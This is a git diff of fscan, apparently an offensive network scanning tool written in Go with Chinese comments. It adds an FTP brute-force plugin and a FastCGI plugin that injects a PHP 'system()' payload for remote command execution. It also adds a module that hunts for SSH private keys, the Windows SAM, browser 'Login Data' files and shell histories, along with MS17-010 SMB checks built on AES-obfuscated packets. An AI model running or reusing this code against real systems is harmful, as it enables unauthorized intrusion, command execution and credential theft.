if err != nil {
lastErr = err
break
}
result = append(result, buf[0:count]...)
// 如果读取的数据小于缓冲区,说明已经读完
if count < size {
break
}
}
// 如果读到了数据,则忽略错误
if len(result) > 0 {
return result, nil
}
return result, lastErr
}
// 默认AES加密密钥
var key = "0123456789abcdef"
// AesEncrypt 使用AES-CBC模式加密字符串
func AesEncrypt(orig string, key string) (string, error) {
// 转为字节数组
origData := []byte(orig)
keyBytes := []byte(key)
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建加密块失败: %v", err)
}
// 获取块大小并填充数据
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
// 创建CBC加密模式
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
// 加密数据
encrypted := make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
// base64编码
return base64.StdEncoding.EncodeToString(encrypted), nil
}
// AesDecrypt 使用AES-CBC模式解密字符串
func AesDecrypt(crypted string, key string) (string, error) {
// base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("[-] base64解码失败: %v", err)
}
keyBytes := []byte(key)
// 创建解密块
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建解密块失败: %v", err)
}
// 创建CBC解密模式
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
// 解密数据
origData := make([]byte, len(cryptedBytes))
blockMode.CryptBlocks(origData, cryptedBytes)
// 去除填充
origData, err = PKCS7UnPadding(origData)
if err != nil {
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err)
}
return string(origData), nil
}
// PKCS7Padding 对数据进行PKCS7填充
func PKCS7Padding(data []byte, blockSize int) []byte {
padding := blockSize - len(data)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padtext...)
}
// PKCS7UnPadding 去除PKCS7填充
func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("[-] 数据长度为0")
}
padding := int(data[length-1])
if padding > length {
return nil, errors.New("[-] 填充长度无效")
}
return data[:length-padding], nil
}

92
Plugins/FTP.go Normal file
View File

@ -0,0 +1,92 @@
package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// FtpScan 执行FTP服务扫描
func FtpScan(info *Common.HostInfo) (tmperr error) {
// 如果已开启暴力破解则直接返回
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试匿名登录
flag, err := FtpConn(info, "anonymous", "")
if flag && err == nil {
return err
}
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 尝试用户名密码组合
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// FtpConn 建立FTP连接并尝试登录
func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
Host, Port, Username, Password := info.Host, info.Ports, user, pass
// 建立FTP连接
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, err
}
// 尝试登录
if err = conn.Login(Username, Password); err != nil {
return false, err
}
// 登录成功,获取目录信息
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
if err == nil && len(dirs) > 0 {
// 最多显示前6个目录
for i := 0; i < len(dirs) && i < 6; i++ {
name := dirs[i].Name
if len(name) > 50 {
name = name[:50]
}
result += "\n [->]" + name
}
}
Common.LogSuccess(result)
return true, nil
}

View File

@ -6,7 +6,7 @@ import (
"encoding/binary" "encoding/binary"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/Common"
"io" "io"
"strconv" "strconv"
"strings" "strings"
@ -18,34 +18,43 @@ import (
//https://xz.aliyun.com/t/9544 //https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits //https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) { // FcgiScan 执行FastCGI服务器漏洞扫描
if common.IsBrute { func FcgiScan(info *Common.HostInfo) error {
return // 如果设置了暴力破解模式则跳过
if Common.IsBrute {
return nil
} }
// 设置目标URL路径
url := "/etc/issue" url := "/etc/issue"
if common.Path != "" { if Common.Path != "" {
url = common.Path url = Common.Path
} }
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
// 构造PHP命令注入代码
var reqParams string var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n" var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
switch { switch {
case common.Command == "read": case Common.Command == "read":
reqParams = "" reqParams = "" // 读取模式
case common.Command != "": case Common.Command != "":
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>" reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
default: default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>" reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
} }
env := make(map[string]string) // 设置FastCGI环境变量
env := map[string]string{
env["SCRIPT_FILENAME"] = url "SCRIPT_FILENAME": url,
env["DOCUMENT_ROOT"] = "/" "DOCUMENT_ROOT": "/",
env["SERVER_SOFTWARE"] = "go / fcgiclient " "SERVER_SOFTWARE": "go / fcgiclient ",
env["REMOTE_ADDR"] = "127.0.0.1" "REMOTE_ADDR": "127.0.0.1",
env["SERVER_PROTOCOL"] = "HTTP/1.1" "SERVER_PROTOCOL": "HTTP/1.1",
}
// 根据请求类型设置对应的环境变量
if len(reqParams) != 0 { if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST" env["REQUEST_METHOD"] = "POST"
@ -54,61 +63,55 @@ func FcgiScan(info *common.HostInfo) {
env["REQUEST_METHOD"] = "GET" env["REQUEST_METHOD"] = "GET"
} }
fcgi, err := New(addr, common.Timeout) // 建立FastCGI连接
fcgi, err := New(addr, Common.Timeout)
defer func() { defer func() {
if fcgi.rwc != nil { if fcgi.rwc != nil {
fcgi.rwc.Close() fcgi.rwc.Close()
} }
}() }()
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
common.LogError(errlog) return err
return
} }
// 发送FastCGI请求
stdout, stderr, err := fcgi.Request(env, reqParams) stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
common.LogError(errlog) return err
return
} }
//1 // 处理响应结果
//Content-type: text/html output := string(stdout)
//
//uid=1001(www) gid=1001(www) groups=1001(www)
//2
//Status: 404 Not Found
//Content-type: text/html
//
//File not found.
//Primary script unknown
//3
//Status: 403 Forbidden
//Content-type: text/html
//
//Access denied.
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string var result string
var output = string(stdout)
if strings.Contains(output, cutLine) { //命令成功回显 if strings.Contains(output, cutLine) {
// 命令执行成功,提取输出结果
output = strings.SplitN(output, cutLine, 2)[0] output = strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 { if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else { } else {
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, output)
} }
common.LogSuccess(result) Common.LogSuccess(result)
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { } else if strings.Contains(output, "File not found") ||
strings.Contains(output, "Content-type") ||
strings.Contains(output, "Status") {
// 目标存在FastCGI服务但可能路径错误
if len(stderr) > 0 { if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else { } else {
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v",
info.Host, info.Ports, output)
} }
common.LogSuccess(result) Common.LogSuccess(result)
} }
return nil
} }
// for padding so we don't have to allocate all the time // for padding so we don't have to allocate all the time
@ -183,7 +186,7 @@ type FCGIClient struct {
} }
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{ fcgi = &FCGIClient{
rwc: conn, rwc: conn,
keepAlive: false, keepAlive: false,

162
Plugins/FindNet.go Normal file
View File

@ -0,0 +1,162 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"strconv"
"strings"
"time"
)
var (
// RPC请求数据包
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
// Findnet 探测Windows网络主机信息的入口函数
func Findnet(info *Common.HostInfo) error {
return FindnetScan(info)
}
// FindnetScan 通过RPC协议扫描网络主机信息
func FindnetScan(info *Common.HostInfo) error {
// 连接目标RPC端口
target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("[-] 连接RPC端口失败: %v", err)
}
defer conn.Close()
// 设置连接超时
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("[-] 设置超时失败: %v", err)
}
// 发送第一个RPC请求
if _, err = conn.Write(bufferV1); err != nil {
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err)
}
// 读取响应
reply := make([]byte, 4096)
if _, err = conn.Read(reply); err != nil {
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err)
}
// 发送第二个RPC请求
if _, err = conn.Write(bufferV2); err != nil {
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err)
}
// 读取并检查响应
n, err := conn.Read(reply)
if err != nil || n < 42 {
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err)
}
// 解析响应数据
text := reply[42:]
found := false
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
found = true
break
}
}
if !found {
fmt.Println("[+] FindNet扫描模块结束...")
return fmt.Errorf("[-] 未找到有效的响应标记")
}
// 解析主机信息
return read(text, info.Host)
}
// HexUnicodeStringToString 将16进制Unicode字符串转换为可读字符串
func HexUnicodeStringToString(src string) string {
// 确保输入长度是4的倍数
if len(src)%4 != 0 {
src += src[:len(src)-len(src)%4]
}
// 转换为标准Unicode格式
var sText string
for i := 0; i < len(src); i += 4 {
sText += "\\u" + src[i+2:i+4] + src[i:i+2] // 调整字节顺序
}
// 解析每个Unicode字符
unicodeChars := strings.Split(sText, "\\u")
var result string
for _, char := range unicodeChars {
// 跳过空字符
if len(char) < 1 {
continue
}
// 将16进制转换为整数
codePoint, err := strconv.ParseInt(char, 16, 32)
if err != nil {
return ""
}
// 转换为实际字符
result += fmt.Sprintf("%c", codePoint)
}
return result
}
// read 解析并显示主机网络信息
func read(text []byte, host string) error {
// 将原始数据转换为16进制字符串
encodedStr := hex.EncodeToString(text)
// 解析主机名
var hostName string
for i := 0; i < len(encodedStr)-4; i += 4 {
if encodedStr[i:i+4] == "0000" {
break
}
hostName += encodedStr[i : i+4]
}
// 转换主机名为可读字符串
name := HexUnicodeStringToString(hostName)
// 解析网络信息
netInfo := strings.Replace(encodedStr, "0700", "", -1)
hosts := strings.Split(netInfo, "000000")
hosts = hosts[1:] // 跳过第一个空元素
// 构造输出结果
result := fmt.Sprintf("[*] NetInfo\n[*] %s", host)
if name != "" {
result += fmt.Sprintf("\n [->] %s", name)
}
// 解析每个网络主机信息
for _, h := range hosts {
// 移除填充字节
h = strings.Replace(h, "00", "", -1)
// 解码主机信息
hostInfo, err := hex.DecodeString(h)
if err != nil {
return fmt.Errorf("[-] 解码主机信息失败: %v", err)
}
result += fmt.Sprintf("\n [->] %s", string(hostInfo))
}
// 输出结果
Common.LogSuccess(result)
return nil
}

213
Plugins/LocalInfo.go Normal file
View File

@ -0,0 +1,213 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"path/filepath"
"runtime"
"strings"
)
var (
blacklist = []string{
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
}
whitelist = []string{
"密码", "账号", "账户", "配置", "服务器",
"数据库", "备忘", "常用", "通讯录",
}
// Linux系统关键配置文件
linuxSystemPaths = []string{
// Apache配置
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/httpd/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/home/httpd/conf/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/httpd/conf/httpd.conf",
"/etc/apache2/sites-available/000-default.conf",
"/etc/apache2/sites-enabled/*",
"/etc/apache2/sites-available/*",
"/etc/apache2/apache2.conf",
// Nginx配置
"/etc/nginx/nginx.conf",
"/etc/nginx/conf.d/nginx.conf",
// 系统配置文件
"/etc/hosts.deny",
"/etc/bashrc",
"/etc/issue",
"/etc/issue.net",
"/etc/ssh/ssh_config",
"/etc/termcap",
"/etc/xinetd.d/*",
"/etc/mtab",
"/etc/vsftpd/vsftpd.conf",
"/etc/xinetd.conf",
"/etc/protocols",
"/etc/logrotate.conf",
"/etc/ld.so.conf",
"/etc/resolv.conf",
"/etc/sysconfig/network",
"/etc/sendmail.cf",
"/etc/sendmail.cw",
// proc信息
"/proc/mounts",
"/proc/cpuinfo",
"/proc/meminfo",
"/proc/self/environ",
"/proc/1/cmdline",
"/proc/1/mountinfo",
"/proc/1/fd/*",
"/proc/1/exe",
"/proc/config.gz",
// 用户配置文件
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.ssh/id_rsa.keystore",
"/root/.ssh/id_rsa.pub",
"/root/.ssh/known_hosts",
"/root/.bash_history",
"/root/.mysql_history",
}
// Windows系统关键配置文件
windowsSystemPaths = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
)
func LocalInfoScan(info *Common.HostInfo) (err error) {
fmt.Println("[+] LocalInfo扫描模块开始...")
home, err := os.UserHomeDir()
if err != nil {
errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err)
Common.LogError(errlog)
return err
}
// 扫描固定位置
scanFixedLocations(home)
// 规则搜索
searchSensitiveFiles()
fmt.Println("[+] LocalInfo扫描模块结束...")
return nil
}
func scanFixedLocations(home string) {
var paths []string
switch runtime.GOOS {
case "windows":
// 添加Windows固定路径
paths = append(paths, windowsSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
case "linux":
// 添加Linux固定路径
paths = append(paths, linuxSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
filepath.Join(home, ".mozilla", "firefox"),
}...)
}
for _, path := range paths {
// 处理通配符路径
if strings.Contains(path, "*") {
var _ = strings.ReplaceAll(path, "*", "")
if files, err := filepath.Glob(path); err == nil {
for _, file := range files {
checkAndLogFile(file)
}
}
continue
}
checkAndLogFile(path)
}
}
func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil {
result := fmt.Sprintf("[+] Found sensitive file: %s", path)
Common.LogSuccess(result)
}
}
func searchSensitiveFiles() {
var searchPaths []string
switch runtime.GOOS {
case "windows":
// Windows下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux":
// Linux下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"/home",
"/opt",
"/usr/local",
"/var/www",
"/var/log",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
}
// 在限定目录下搜索
for _, searchPath := range searchPaths {
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 跳过黑名单目录和文件
for _, black := range blacklist {
if strings.Contains(strings.ToLower(path), black) {
return filepath.SkipDir
}
}
// 检查白名单关键词
for _, white := range whitelist {
fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) {
result := fmt.Sprintf("[+] Found potential sensitive file: %s", path)
Common.LogSuccess(result)
break
}
}
return nil
})
}
}

1422
Plugins/MS17010-Exp.go Normal file

File diff suppressed because it is too large Load Diff

View File

@ -5,91 +5,154 @@ import (
"encoding/hex" "encoding/hex"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/Common"
"log"
"strings" "strings"
"time" "time"
) )
var ( var (
// SMB协议加密的请求数据
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk=" trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
negotiateProtocolRequest, _ = hex.DecodeString(AesDecrypt(negotiateProtocolRequest_enc, key))
sessionSetupRequest, _ = hex.DecodeString(AesDecrypt(sessionSetupRequest_enc, key)) // SMB协议解密后的请求数据
treeConnectRequest, _ = hex.DecodeString(AesDecrypt(treeConnectRequest_enc, key)) negotiateProtocolRequest []byte
transNamedPipeRequest, _ = hex.DecodeString(AesDecrypt(transNamedPipeRequest_enc, key)) sessionSetupRequest []byte
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) treeConnectRequest []byte
transNamedPipeRequest []byte
trans2SessionSetupRequest []byte
) )
func MS17010(info *common.HostInfo) error { func init() {
if common.IsBrute { var err error
// 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil {
log.Fatalf("解密协议请求失败: %v", err)
}
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码协议请求失败: %v", err)
}
// 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话请求失败: %v", err)
}
sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话请求失败: %v", err)
}
// 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil {
log.Fatalf("解密连接请求失败: %v", err)
}
treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码连接请求失败: %v", err)
}
// 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil {
log.Fatalf("解密管道请求失败: %v", err)
}
transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码管道请求失败: %v", err)
}
// 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话设置请求失败: %v", err)
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话设置请求失败: %v", err)
}
}
// MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error {
// 暴力破解模式下跳过扫描
if Common.IsBrute {
return nil return nil
} }
// 执行MS17-010漏洞扫描
err := MS17010Scan(info) err := MS17010Scan(info)
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err))
common.LogError(errlog)
} }
return err return err
} }
func MS17010Scan(info *common.HostInfo) error { // MS17010Scan 执行MS17-010漏洞扫描
func MS17010Scan(info *Common.HostInfo) error {
ip := info.Host ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) // 连接目标445端口
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
if err != nil { if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err return err
} }
defer conn.Close() defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil { // 设置连接超时
//fmt.Printf("failed to connect to %s\n", ip) if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return err return err
} }
_, err = conn.Write(negotiateProtocolRequest)
if err != nil { // 发送SMB协议协商请求
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return err return err
} }
// 读取响应
reply := make([]byte, 1024) reply := make([]byte, 1024)
// let alone half packet
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err return err
} }
// 检查协议响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 { if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
return err return err
} }
_, err = conn.Write(sessionSetupRequest) // 发送会话建立请求
if err != nil { if _, err = conn.Write(sessionSetupRequest); err != nil {
return err return err
} }
// 读取响应
n, err := conn.Read(reply) n, err := conn.Read(reply)
if err != nil || n < 36 { if err != nil || n < 36 {
return err return err
} }
// 检查会话响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 { if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0 return errors.New("无法确定目标是否存在漏洞")
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
